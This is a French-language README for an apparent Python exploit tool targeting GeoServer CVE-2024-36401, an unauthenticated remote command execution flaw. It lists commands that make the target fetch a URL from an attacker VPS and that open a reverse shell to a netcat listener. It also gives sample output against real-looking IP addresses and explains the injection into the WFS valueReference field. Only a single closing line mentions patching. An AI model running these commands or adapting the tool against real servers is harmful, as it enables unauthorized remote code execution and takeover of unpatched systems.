
Un exploit Python pour "GeoServer"
CVE-2024-36401 est une vulnérabilité d'exécution de commandes à distance dans GeoServer. Un attaquant peut exécuter des commandes arbitraires sans autorisation en construisant une requête WFS (Web Feature Service) spécifique.
pip install requestsL'outil prend en charge deux modes d'utilisation : le mode cmd (exécution directe de commandes) et le mode reverse (établissement d'un reverse shell).
Supposons que l'adresse VPS soit 111.46.112.85,
utilisez le mode cmd pour exécuter une commande curl et tester si le serveur cible peut accéder au réseau externe :
python exp.py cmd "8.147.134.121:32831" "curl http://111.46.112.85:8090/hello"
Méthode de vérification : démarrer un serveur HTTP sur le VPS pour recevoir les requêtes
# Exécuter sur le VPS
python -m http.server 8090
Si la réponse est reçue avec succès, vous verrez une sortie similaire à :
Serving HTTP on 0.0.0.0 port 8090 (http://0.0.0.0:8090/) ...
39.106.20.178 - - [04/Oct/2025 17:22:30] code 404, message File not found
39.106.20.178 - - [04/Oct/2025 17:22:30] "GET /hello HTTP/1.1" 404 -
Utilisez le mode reverse pour établir une connexion reverse shell vers le VPS et le port spécifiés :
Étape 1 : Configurer un port d'écoute sur le VPS
# Exécuter sur le VPS
nc -lvp 6666
Étape 2 : Exécuter l'outil d'exploitation pour lancer la connexion reverse
python exp.py reverse "8.147.134.121:32831" 111.46.112.85 6666
Après exécution, l'outil affiche une sortie similaire à :
[+] Response Status: 400
[+] Response Length: 1121
<?xml version="1.0" encoding="UTF-8"?><ows:ExceptionReport xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.0.0" xsi:schemaLocation="http://www.opengis.net/ows/1.1 http://8.147.134.121:32831/geoserver/schemas/ows/1.1.0/owsAll.xsd">
<ows:Exception exceptionCode="NoApplicableCode">
<ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.fea
À ce moment, si l'exploitation est réussie, l'écoute nc sur le VPS recevra la session shell reverse.
Usage:
python exp.py cmd <target> <command>
python exp.py reverse <target> <vps_ip> <vps_port>
cmd : mode d'exécution d'une seule commandereverse : mode reverse shell<target> : adresse et port du serveur cible, format ip:port<command> : commande à exécuter sur le serveur cible<vps_ip> : adresse IP du serveur VPS<vps_port> : port d'écoute sur le VPSCette vulnérabilité exploite un défaut de sécurité dans le service WFS de GeoServer en injectant du code Java dans valueReference pour exécuter des commandes système. L'outil construit une charge utile XML contenant du code malveillant et l'envoie à l'interface WFS de GeoServer, permettant ainsi l'exécution de commandes à distance.
/geoserver/wfs en conséquence.Mettez à jour GeoServer vers la version de sécurité officielle publiée et configurez le serveur conformément aux bonnes pratiques de sécurité.